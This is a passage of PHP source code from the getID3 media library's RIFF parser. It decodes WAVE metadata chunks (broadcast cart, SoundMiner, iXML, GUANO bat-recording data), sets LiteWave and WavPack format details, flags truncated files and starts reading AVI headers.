				}

				if (isset($thisfile_riff_WAVE['MEXT'][0]['data'])) {
					// shortcut
					$thisfile_riff_WAVE_MEXT_0 = &$thisfile_riff_WAVE['MEXT'][0];

					$thisfile_riff_WAVE_MEXT_0['raw']['sound_information']      = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 0, 2));
					$thisfile_riff_WAVE_MEXT_0['flags']['homogenous']           = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0001);
					if ($thisfile_riff_WAVE_MEXT_0['flags']['homogenous']) {
						$thisfile_riff_WAVE_MEXT_0['flags']['padding']          = ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0002) ? false : true;
						$thisfile_riff_WAVE_MEXT_0['flags']['22_or_44']         =        (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0004);
						$thisfile_riff_WAVE_MEXT_0['flags']['free_format']      =        (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0008);

						$thisfile_riff_WAVE_MEXT_0['nominal_frame_size']        = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 2, 2));
					}
					$thisfile_riff_WAVE_MEXT_0['anciliary_data_length']         = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 6, 2));
					$thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def']     = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 8, 2));
					$thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_left']  = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0001);
					$thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_free']  = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0002);
					$thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_right'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0004);
				}

				if (isset($thisfile_riff_WAVE['cart'][0]['data'])) {
					// shortcut
					$thisfile_riff_WAVE_cart_0 = &$thisfile_riff_WAVE['cart'][0];

					$thisfile_riff_WAVE_cart_0['version']              =                              substr($thisfile_riff_WAVE_cart_0['data'],   0,  4);
					$thisfile_riff_WAVE_cart_0['title']                =                         trim(substr($thisfile_riff_WAVE_cart_0['data'],   4, 64));
					$thisfile_riff_WAVE_cart_0['artist']               =                         trim(substr($thisfile_riff_WAVE_cart_0['data'],  68, 64));
					$thisfile_riff_WAVE_cart_0['cut_id']               =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 132, 64));
					$thisfile_riff_WAVE_cart_0['client_id']            =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 196, 64));
					$thisfile_riff_WAVE_cart_0['category']             =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 260, 64));
					$thisfile_riff_WAVE_cart_0['classification']       =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 324, 64));
					$thisfile_riff_WAVE_cart_0['out_cue']              =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 388, 64));
					$thisfile_riff_WAVE_cart_0['start_date']           =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 452, 10));
					$thisfile_riff_WAVE_cart_0['start_time']           =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 462,  8));
					$thisfile_riff_WAVE_cart_0['end_date']             =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 470, 10));
					$thisfile_riff_WAVE_cart_0['end_time']             =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 480,  8));
					$thisfile_riff_WAVE_cart_0['producer_app_id']      =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 488, 64));
					$thisfile_riff_WAVE_cart_0['producer_app_version'] =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 552, 64));
					$thisfile_riff_WAVE_cart_0['user_defined_text']    =                         trim(substr($thisfile_riff_WAVE_cart_0['data'], 616, 64));
					$thisfile_riff_WAVE_cart_0['zero_db_reference']    = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_cart_0['data'], 680,  4), true);
					for ($i = 0; $i < 8; $i++) {
						$thisfile_riff_WAVE_cart_0['post_time'][$i]['usage_fourcc'] =                  substr($thisfile_riff_WAVE_cart_0['data'], 684 + ($i * 8), 4);
						$thisfile_riff_WAVE_cart_0['post_time'][$i]['timer_value']  = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_cart_0['data'], 684 + ($i * 8) + 4, 4));
					}
					$thisfile_riff_WAVE_cart_0['url']              =                 trim(substr($thisfile_riff_WAVE_cart_0['data'],  748, 1024));
					$thisfile_riff_WAVE_cart_0['tag_text']         = explode("\r\n", trim(substr($thisfile_riff_WAVE_cart_0['data'], 1772)));
					$thisfile_riff['comments']['tag_text'][]       =                      substr($thisfile_riff_WAVE_cart_0['data'], 1772);

					$thisfile_riff['comments']['artist'][] = $thisfile_riff_WAVE_cart_0['artist'];
					$thisfile_riff['comments']['title'][]  = $thisfile_riff_WAVE_cart_0['title'];
				}

				if (isset($thisfile_riff_WAVE['SNDM'][0]['data'])) {
					// SoundMiner metadata

					// shortcuts
					$thisfile_riff_WAVE_SNDM_0      = &$thisfile_riff_WAVE['SNDM'][0];
					$thisfile_riff_WAVE_SNDM_0_data = &$thisfile_riff_WAVE_SNDM_0['data'];
					$SNDM_startoffset = 0;
					$SNDM_endoffset   = $thisfile_riff_WAVE_SNDM_0['size'];

					while ($SNDM_startoffset < $SNDM_endoffset) {
						$SNDM_thisTagOffset = 0;
						$SNDM_thisTagSize      = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 4));
						$SNDM_thisTagOffset += 4;
						$SNDM_thisTagKey       =                           substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 4);
						$SNDM_thisTagOffset += 4;
						$SNDM_thisTagDataSize  = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 2));
						$SNDM_thisTagOffset += 2;
						$SNDM_thisTagDataFlags = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 2));
						$SNDM_thisTagOffset += 2;
						$SNDM_thisTagDataText =                            substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, $SNDM_thisTagDataSize);
						$SNDM_thisTagOffset += $SNDM_thisTagDataSize;

						if ($SNDM_thisTagSize != (4 + 4 + 2 + 2 + $SNDM_thisTagDataSize)) {
							$this->warning('RIFF.WAVE.SNDM.data contains tag not expected length (expected: '.$SNDM_thisTagSize.', found: '.(4 + 4 + 2 + 2 + $SNDM_thisTagDataSize).') at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')');
							break;
						} elseif ($SNDM_thisTagSize <= 0) {
							$this->warning('RIFF.WAVE.SNDM.data contains zero-size tag at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')');
							break;
						}
						$SNDM_startoffset += $SNDM_thisTagSize;

						$thisfile_riff_WAVE_SNDM_0['parsed_raw'][$SNDM_thisTagKey] = $SNDM_thisTagDataText;
						if ($parsedkey = self::waveSNDMtagLookup($SNDM_thisTagKey)) {
							$thisfile_riff_WAVE_SNDM_0['parsed'][$parsedkey] = $SNDM_thisTagDataText;
						} else {
							$this->warning('RIFF.WAVE.SNDM contains unknown tag "'.$SNDM_thisTagKey.'" at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')');
						}
					}

					$tagmapping = array(
						'tracktitle'=>'title',
						'category'  =>'genre',
						'cdtitle'   =>'album',
					);
					foreach ($tagmapping as $fromkey => $tokey) {
						if (isset($thisfile_riff_WAVE_SNDM_0['parsed'][$fromkey])) {
							$thisfile_riff['comments'][$tokey][] = $thisfile_riff_WAVE_SNDM_0['parsed'][$fromkey];
						}
					}
				}

				if (isset($thisfile_riff_WAVE['iXML'][0]['data'])) {
					// requires functions simplexml_load_string and get_object_vars
					if ($parsedXML = getid3_lib::XML2array($thisfile_riff_WAVE['iXML'][0]['data'])) {
						$thisfile_riff_WAVE['iXML'][0]['parsed'] = $parsedXML;
						if (isset($parsedXML['SPEED']['MASTER_SPEED'])) {
							@list($numerator, $denominator) = explode('/', $parsedXML['SPEED']['MASTER_SPEED']);
							$thisfile_riff_WAVE['iXML'][0]['master_speed'] = (int) $numerator / ($denominator ? $denominator : 1000);
						}
						if (isset($parsedXML['SPEED']['TIMECODE_RATE'])) {
							@list($numerator, $denominator) = explode('/', $parsedXML['SPEED']['TIMECODE_RATE']);
							$thisfile_riff_WAVE['iXML'][0]['timecode_rate'] = (int) $numerator / ($denominator ? $denominator : 1000);
						}
						if (isset($parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_LO']) && !empty($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) && !empty($thisfile_riff_WAVE['iXML'][0]['timecode_rate'])) {
							$samples_since_midnight = floatval(ltrim($parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_HI'].$parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_LO'], '0'));
							$timestamp_sample_rate = (is_array($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) ? max($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) : $parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']); // XML could possibly contain more than one TIMESTAMP_SAMPLE_RATE tag, returning as array instead of integer [why? does it make sense? perhaps doesn't matter but getID3 needs to deal with it] - see https://github.com/JamesHeinrich/getID3/issues/105
							$thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] = $samples_since_midnight / $timestamp_sample_rate;
							$h = floor( $thisfile_riff_WAVE['iXML'][0]['timecode_seconds']       / 3600);
							$m = floor(($thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600))      / 60);
							$s = floor( $thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600) - ($m * 60));
							$f =       ($thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600) - ($m * 60) - $s) * $thisfile_riff_WAVE['iXML'][0]['timecode_rate'];
							$thisfile_riff_WAVE['iXML'][0]['timecode_string']       = sprintf('%02d:%02d:%02d:%05.2f', $h, $m, $s,       $f);
							$thisfile_riff_WAVE['iXML'][0]['timecode_string_round'] = sprintf('%02d:%02d:%02d:%02d',   $h, $m, $s, round($f));
							unset($samples_since_midnight, $timestamp_sample_rate, $h, $m, $s, $f);
						}
						unset($parsedXML);
					}
				}

				if (isset($thisfile_riff_WAVE['guan'][0]['data'])) {
					// shortcut
					$thisfile_riff_WAVE_guan_0 = &$thisfile_riff_WAVE['guan'][0];
					if (!empty($thisfile_riff_WAVE_guan_0['data']) && (substr($thisfile_riff_WAVE_guan_0['data'], 0, 14) == 'GUANO|Version:')) {
						$thisfile_riff['guano'] = array();
						foreach (explode("\n", $thisfile_riff_WAVE_guan_0['data']) as $line) {
							if ($line) {
								@list($key, $value) = explode(':', $line, 2);
								if (substr($value, 0, 3) == '[{"') {
									if ($decoded = @json_decode($value, true)) {
										if (count($decoded) === 1) {
											$value = $decoded[0];
										} else {
											$value = $decoded;
										}
									}
								}
								$thisfile_riff['guano'] = array_merge_recursive($thisfile_riff['guano'], getid3_lib::CreateDeepArray($key, '|', $value));
							}
						}

						// https://www.wildlifeacoustics.com/SCHEMA/GUANO.html
						foreach ($thisfile_riff['guano'] as $key => $value) {
							switch ($key) {
								case 'Loc Position':
									if (preg_match('#^([\\+\\-]?[0-9]+\\.[0-9]+) ([\\+\\-]?[0-9]+\\.[0-9]+)$#', $value, $matches)) {
										list($dummy, $latitude, $longitude) = $matches;
										$thisfile_riff['comments']['gps_latitude'][0]  = floatval($latitude);
										$thisfile_riff['comments']['gps_longitude'][0] = floatval($longitude);
										$thisfile_riff['guano'][$key] = floatval($latitude).' '.floatval($longitude);
									}
									break;
								case 'Loc Elevation': // Elevation/altitude above mean sea level in meters
									$thisfile_riff['comments']['gps_altitude'][0] = floatval($value);
									$thisfile_riff['guano'][$key] = (float) $value;
									break;
								case 'Filter HP':        // High-pass filter frequency in kHz
								case 'Filter LP':        // Low-pass filter frequency in kHz
								case 'Humidity':         // Relative humidity as a percentage
								case 'Length':           // Recording length in seconds
								case 'Loc Accuracy':     // Estimated Position Error in meters
								case 'Temperature Ext':  // External temperature in degrees Celsius outside the recorder's housing
								case 'Temperature Int':  // Internal temperature in degrees Celsius inside the recorder's housing
									$thisfile_riff['guano'][$key] = (float) $value;
									break;
								case 'Samplerate':       // Recording sample rate, Hz
								case 'TE':               // Time-expansion factor. If not specified, then 1 (no time-expansion a.k.a. direct-recording) is assumed.
									$thisfile_riff['guano'][$key] = (int) $value;
									break;
							}
						}

					} else {
						$this->warning('RIFF.guan data not in expected format');
					}
				}

				if (!isset($thisfile_audio['bitrate']) && isset($thisfile_riff_audio[$streamindex]['bitrate'])) {
					$thisfile_audio['bitrate'] = $thisfile_riff_audio[$streamindex]['bitrate'];
					$info['playtime_seconds'] = (float)getid3_lib::SafeDiv((($info['avdataend'] - $info['avdataoffset']) * 8), $thisfile_audio['bitrate']);
				}

				if (!empty($info['wavpack'])) {
					$thisfile_audio_dataformat = 'wavpack';
					$thisfile_audio['bitrate_mode'] = 'vbr';
					$thisfile_audio['encoder']      = 'WavPack v'.$info['wavpack']['version'];

					// Reset to the way it was - RIFF parsing will have messed this up
					$info['avdataend']        = $Original['avdataend'];
					$thisfile_audio['bitrate'] = getid3_lib::SafeDiv(($info['avdataend'] - $info['avdataoffset']) * 8, $info['playtime_seconds']);

					$this->fseek($info['avdataoffset'] - 44);
					$RIFFdata = $this->fread(44);
					$OrignalRIFFheaderSize = getid3_lib::LittleEndian2Int(substr($RIFFdata,  4, 4)) +  8;
					$OrignalRIFFdataSize   = getid3_lib::LittleEndian2Int(substr($RIFFdata, 40, 4)) + 44;

					if ($OrignalRIFFheaderSize > $OrignalRIFFdataSize) {
						$info['avdataend'] -= ($OrignalRIFFheaderSize - $OrignalRIFFdataSize);
						$this->fseek($info['avdataend']);
						$RIFFdata .= $this->fread($OrignalRIFFheaderSize - $OrignalRIFFdataSize);
					}

					// move the data chunk after all other chunks (if any)
					// so that the RIFF parser doesn't see EOF when trying
					// to skip over the data chunk
					$RIFFdata = substr($RIFFdata, 0, 36).substr($RIFFdata, 44).substr($RIFFdata, 36, 8);
					$getid3_riff = new getid3_riff($this->getid3);
					$getid3_riff->ParseRIFFdata($RIFFdata);
					unset($getid3_riff);
				}

				if (isset($thisfile_riff_raw['fmt ']['wFormatTag'])) {
					switch ($thisfile_riff_raw['fmt ']['wFormatTag']) {
						case 0x0001: // PCM
							if (!empty($info['ac3'])) {
								// Dolby Digital WAV files masquerade as PCM-WAV, but they're not
								$thisfile_audio['wformattag']  = 0x2000;
								$thisfile_audio['codec']       = self::wFormatTagLookup($thisfile_audio['wformattag']);
								$thisfile_audio['lossless']    = false;
								$thisfile_audio['bitrate']     = $info['ac3']['bitrate'];
								$thisfile_audio['sample_rate'] = $info['ac3']['sample_rate'];
							}
							if (!empty($info['dts'])) {
								// Dolby DTS files masquerade as PCM-WAV, but they're not
								$thisfile_audio['wformattag']  = 0x2001;
								$thisfile_audio['codec']       = self::wFormatTagLookup($thisfile_audio['wformattag']);
								$thisfile_audio['lossless']    = false;
								$thisfile_audio['bitrate']     = $info['dts']['bitrate'];
								$thisfile_audio['sample_rate'] = $info['dts']['sample_rate'];
							}
							break;
						case 0x08AE: // ClearJump LiteWave
							$thisfile_audio['bitrate_mode'] = 'vbr';
							$thisfile_audio_dataformat   = 'litewave';

							//typedef struct tagSLwFormat {
							//  WORD    m_wCompFormat;     // low byte defines compression method, high byte is compression flags
							//  DWORD   m_dwScale;         // scale factor for lossy compression
							//  DWORD   m_dwBlockSize;     // number of samples in encoded blocks
							//  WORD    m_wQuality;        // alias for the scale factor
							//  WORD    m_wMarkDistance;   // distance between marks in bytes
							//  WORD    m_wReserved;
							//
							//  //following paramters are ignored if CF_FILESRC is not set
							//  DWORD   m_dwOrgSize;       // original file size in bytes
							//  WORD    m_bFactExists;     // indicates if 'fact' chunk exists in the original file
							//  DWORD   m_dwRiffChunkSize; // riff chunk size in the original file
							//
							//  PCMWAVEFORMAT m_OrgWf;     // original wave format
							// }SLwFormat, *PSLwFormat;

							// shortcut
							$thisfile_riff['litewave']['raw'] = array();
							$riff_litewave     = &$thisfile_riff['litewave'];
							$riff_litewave_raw = &$riff_litewave['raw'];

							$flags = array(
								'compression_method' => 1,
								'compression_flags'  => 1,
								'm_dwScale'          => 4,
								'm_dwBlockSize'      => 4,
								'm_wQuality'         => 2,
								'm_wMarkDistance'    => 2,
								'm_wReserved'        => 2,
								'm_dwOrgSize'        => 4,
								'm_bFactExists'      => 2,
								'm_dwRiffChunkSize'  => 4,
							);
							$litewave_offset = 18;
							foreach ($flags as $flag => $length) {
								$riff_litewave_raw[$flag] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE['fmt '][0]['data'], $litewave_offset, $length));
								$litewave_offset += $length;
							}

							//$riff_litewave['quality_factor'] = intval(round((2000 - $riff_litewave_raw['m_dwScale']) / 20));
							$riff_litewave['quality_factor'] = $riff_litewave_raw['m_wQuality'];

							$riff_litewave['flags']['raw_source']    = ($riff_litewave_raw['compression_flags'] & 0x01) ? false : true;
							$riff_litewave['flags']['vbr_blocksize'] = ($riff_litewave_raw['compression_flags'] & 0x02) ? false : true;
							$riff_litewave['flags']['seekpoints']    =        (bool) ($riff_litewave_raw['compression_flags'] & 0x04);

							$thisfile_audio['lossless']        = (($riff_litewave_raw['m_wQuality'] == 100) ? true : false);
							$thisfile_audio['encoder_options'] = '-q'.$riff_litewave['quality_factor'];
							break;

						default:
							break;
					}
				}
				if ($info['avdataend'] > $info['filesize']) {
					switch ($thisfile_audio_dataformat) {
						case 'wavpack': // WavPack
						case 'lpac':    // LPAC
						case 'ofr':     // OptimFROG
						case 'ofs':     // OptimFROG DualStream
							// lossless compressed audio formats that keep original RIFF headers - skip warning
							break;

						case 'litewave':
							if (($info['avdataend'] - $info['filesize']) == 1) {
								// LiteWave appears to incorrectly *not* pad actual output file
								// to nearest WORD boundary so may appear to be short by one
								// byte, in which case - skip warning
							} else {
								// Short by more than one byte, throw warning
								$this->warning('Probably truncated file - expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)');
								$info['avdataend'] = $info['filesize'];
							}
							break;

						default:
							if ((($info['avdataend'] - $info['filesize']) == 1) && (($thisfile_riff[$RIFFsubtype]['data'][0]['size'] % 2) == 0) && ((($info['filesize'] - $info['avdataoffset']) % 2) == 1)) {
								// output file appears to be incorrectly *not* padded to nearest WORD boundary
								// Output less severe warning
								$this->warning('File should probably be padded to nearest WORD boundary, but it is not (expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' therefore short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)');
								$info['avdataend'] = $info['filesize'];
							} else {
								// Short by more than one byte, throw warning
								$this->warning('Probably truncated file - expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)');
								$info['avdataend'] = $info['filesize'];
							}
							break;
					}
				}
				if (!empty($info['mpeg']['audio']['LAME']['audio_bytes'])) {
					if ((($info['avdataend'] - $info['avdataoffset']) - $info['mpeg']['audio']['LAME']['audio_bytes']) == 1) {
						$info['avdataend']--;
						$this->warning('Extra null byte at end of MP3 data assumed to be RIFF padding and therefore ignored');
					}
				}
				if ($thisfile_audio_dataformat == 'ac3') {
					unset($thisfile_audio['bits_per_sample']);
					if (!empty($info['ac3']['bitrate']) && ($info['ac3']['bitrate'] != $thisfile_audio['bitrate'])) {
						$thisfile_audio['bitrate'] = $info['ac3']['bitrate'];
					}
				}
				break;

			// http://en.wikipedia.org/wiki/Audio_Video_Interleave
			case 'AVI ':
				$info['fileformat'] = 'avi';
				$info['mime_type']  = 'video/avi';

				$thisfile_video['bitrate_mode'] = 'vbr'; // maybe not, but probably
				$thisfile_video['dataformat']   = 'avi';

				$thisfile_riff_video_current = array();

				if (isset($thisfile_riff[$RIFFsubtype]['movi']['offset'])) {
					$info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['movi']['offset'] + 8;
					if (isset($thisfile_riff['AVIX'])) {
						$info['avdataend'] = $thisfile_riff['AVIX'][(count($thisfile_riff['AVIX']) - 1)]['chunks']['movi']['offset'] + $thisfile_riff['AVIX'][(count($thisfile_riff['AVIX']) - 1)]['chunks']['movi']['size'];
					} else {
						$info['avdataend'] = $thisfile_riff['AVI ']['movi']['offset'] + $thisfile_riff['AVI ']['movi']['size'];
					}
					if ($info['avdataend'] > $info['filesize']) {
						$this->warning('Probably truncated file - expecting '.($info['avdataend'] - $info['avdataoffset']).' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($info['avdataend'] - $info['filesize']).' bytes)');
						$info['avdataend'] = $info['filesize'];
					}
				}

				if (isset($thisfile_riff['AVI ']['hdrl']['strl']['indx'])) {
					//$bIndexType = array(
					//	0x00 => 'AVI_INDEX_OF_INDEXES',
					//	0x01 => 'AVI_INDEX_OF_CHUNKS',
					//	0x80 => 'AVI_INDEX_IS_DATA',
					//);
					//$bIndexSubtype = array(
					//	0x01 => array(
					//		0x01 => 'AVI_INDEX_2FIELD',
					//	),
					//);
					foreach ($thisfile_riff['AVI ']['hdrl']['strl']['indx'] as $streamnumber => $steamdataarray) {
						$ahsisd = &$thisfile_riff['AVI ']['hdrl']['strl']['indx'][$streamnumber]['data'];

						$thisfile_riff_raw['indx'][$streamnumber]['wLongsPerEntry'] = $this->EitherEndian2Int(substr($ahsisd,  0, 2));
						$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType']  = $this->EitherEndian2Int(substr($ahsisd,  2, 1));
						$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']     = $this->EitherEndian2Int(substr($ahsisd,  3, 1));
						$thisfile_riff_raw['indx'][$streamnumber]['nEntriesInUse']  = $this->EitherEndian2Int(substr($ahsisd,  4, 4));
						$thisfile_riff_raw['indx'][$streamnumber]['dwChunkId']      =                         substr($ahsisd,  8, 4);
						$thisfile_riff_raw['indx'][$streamnumber]['dwReserved']     = $this->EitherEndian2Int(substr($ahsisd, 12, 4));

						//$thisfile_riff_raw['indx'][$streamnumber]['bIndexType_name']    =    $bIndexType[$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']];
						//$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType_name'] = $bIndexSubtype[$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']][$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType']];

						unset($ahsisd);
					}
				}
				if (isset($thisfile_riff['AVI ']['hdrl']['avih'][$streamindex]['data'])) {
					$avihData = $thisfile_riff['AVI ']['hdrl']['avih'][$streamindex]['data'];

					// shortcut
					$thisfile_riff_raw['avih'] = array();
					$thisfile_riff_raw_avih = &$thisfile_riff_raw['avih'];

					$thisfile_riff_raw_avih['dwMicroSecPerFrame']    = $this->EitherEndian2Int(substr($avihData,  0, 4)); // frame display rate (or 0L)
					if ($thisfile_riff_raw_avih['dwMicroSecPerFrame'] == 0) {
						$this->error('Corrupt RIFF file: avih.dwMicroSecPerFrame == zero');
						return false;
					}

					$flags = array(
						'dwMaxBytesPerSec',       // max. transfer rate
						'dwPaddingGranularity',   // pad to multiples of this size; normally 2K.
						'dwFlags',                // the ever-present flags
						'dwTotalFrames',          // # frames in file
						'dwInitialFrames',        //
						'dwStreams',              //
						'dwSuggestedBufferSize',  //
						'dwWidth',                //
						'dwHeight',               //
						'dwScale',                //
						'dwRate',                 //
						'dwStart',                //
						'dwLength',               //
					);
					$avih_offset = 4;
					foreach ($flags as $flag) {
						$thisfile_riff_raw_avih[$flag] = $this->EitherEndian2Int(substr($avihData, $avih_offset, 4));
						$avih_offset += 4;
					}

					$flags = array(
						'hasindex'     => 0x00000010,
						'mustuseindex' => 0x00000020,
						'interleaved'  => 0x00000100,
						'trustcktype'  => 0x00000800,
						'capturedfile' => 0x00010000,
						'copyrighted'  => 0x00020010,
					);
					foreach ($flags as $flag => $value) {
						$thisfile_riff_raw_avih['flags'][$flag] = (bool) ($thisfile_riff_raw_avih['dwFlags'] & $value);
					}

					// shortcut
					$thisfile_riff_video[$streamindex] = array();
					/** @var array $thisfile_riff_video_current */
					$thisfile_riff_video_current = &$thisfile_riff_video[$streamindex];

					if ($thisfile_riff_raw_avih['dwWidth'] > 0) { // @phpstan-ignore-line
						$thisfile_riff_video_current['frame_width'] = $thisfile_riff_raw_avih['dwWidth'];
						$thisfile_video['resolution_x']             = $thisfile_riff_video_current['frame_width'];
					}
					if ($thisfile_riff_raw_avih['dwHeight'] > 0) { // @phpstan-ignore-line
						$thisfile_riff_video_current['frame_height'] = $thisfile_riff_raw_avih['dwHeight'];
						$thisfile_video['resolution_y']              = $thisfile_riff_video_current['frame_height'];
					}
					if ($thisfile_riff_raw_avih['dwTotalFrames'] > 0) { // @phpstan-ignore-line
						$thisfile_riff_video_current['total_frames'] = $thisfile_riff_raw_avih['dwTotalFrames'];
						$thisfile_video['total_frames']              = $thisfile_riff_video_current['total_frames'];
					}

					$thisfile_riff_video_current['frame_rate'] = round(1000000 / $thisfile_riff_raw_avih['dwMicroSecPerFrame'], 3);
					$thisfile_video['frame_rate'] = $thisfile_riff_video_current['frame_rate'];
				}
				if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strh'][0]['data'])) {
					if (is_array($thisfile_riff['AVI ']['hdrl']['strl']['strh'])) {
						$thisfile_riff_raw_strf_strhfccType_streamindex = null;
						for ($i = 0; $i < count($thisfile_riff['AVI ']['hdrl']['strl']['strh']); $i++) {
							if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strh'][$i]['data'])) {
								$strhData = $thisfile_riff['AVI ']['hdrl']['strl']['strh'][$i]['data'];
								$strhfccType = substr($strhData,  0, 4);

								if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strf'][$i]['data'])) {
									$strfData = $thisfile_riff['AVI ']['hdrl']['strl']['strf'][$i]['data'];

									if (!isset($thisfile_riff_raw['strf'][$strhfccType][$streamindex])) {
										$thisfile_riff_raw['strf'][$strhfccType][$streamindex] = null;
									}
									// shortcut
									$thisfile_riff_raw_strf_strhfccType_streamindex = &$thisfile_riff_raw['strf'][$strhfccType][$streamindex];

									switch ($strhfccType) {
										case 'auds':
											$thisfile_audio['bitrate_mode'] = 'cbr';
											$thisfile_audio_dataformat      = 'wav';
											if (isset($thisfile_riff_audio) && is_array($thisfile_riff_audio)) {
												$streamindex = count($thisfile_riff_audio);
											}

											$thisfile_riff_audio[$streamindex] = self::parseWAVEFORMATex($strfData);
											$thisfile_audio['wformattag'] = $thisfile_riff_audio[$streamindex]['raw']['wFormatTag'];

											// shortcut
											$thisfile_audio['streams'][$streamindex] = $thisfile_riff_audio[$streamindex];
											$thisfile_audio_streams_currentstream = &$thisfile_audio['streams'][$streamindex];

											if ($thisfile_audio_streams_currentstream['bits_per_sample'] == 0) {
												unset($thisfile_audio_streams_currentstream['bits_per_sample']);
											}
											$thisfile_audio_streams_currentstream['wformattag'] = $thisfile_audio_streams_currentstream['raw']['wFormatTag'];
											unset($thisfile_audio_streams_currentstream['raw']);

											// shortcut
											$thisfile_riff_raw['strf'][$strhfccType][$streamindex] = $thisfile_riff_audio[$streamindex]['raw'];

											unset($thisfile_riff_audio[$streamindex]['raw']);
											$thisfile_audio = getid3_lib::array_merge_noclobber($thisfile_audio, $thisfile_riff_audio[$streamindex]);

											$thisfile_audio['lossless'] = false;
											switch ($thisfile_riff_raw_strf_strhfccType_streamindex['wFormatTag']) {
												case 0x0001:  // PCM
													$thisfile_audio_dataformat  = 'wav';
													$thisfile_audio['lossless'] = true;
													break;

												case 0x0050: // MPEG Layer 2 or Layer 1
													$thisfile_audio_dataformat = 'mp2'; // Assume Layer-2
													break;

												case 0x0055: // MPEG Layer 3
													$thisfile_audio_dataformat = 'mp3';
													break;

												case 0x00FF: // AAC
													$thisfile_audio_dataformat = 'aac';
													break;

												case 0x0161: // Windows Media v7 / v8 / v9
												case 0x0162: // Windows Media Professional v9
												case 0x0163: // Windows Media Lossess v9
													$thisfile_audio_dataformat = 'wma';
													break;

												case 0x2000: // AC-3
													$thisfile_audio_dataformat = 'ac3';
													break;

												case 0x2001: // DTS
													$thisfile_audio_dataformat = 'dts';
													break;

												default:
													$thisfile_audio_dataformat = 'wav';
													break;
											}
											$thisfile_audio_streams_currentstream['dataformat']   = $thisfile_audio_dataformat;
											$thisfile_audio_streams_currentstream['lossless']     = $thisfile_audio['lossless'];
											$thisfile_audio_streams_currentstream['bitrate_mode'] = $thisfile_audio['bitrate_mode'];
											break;


										case 'iavs':
										case 'vids':
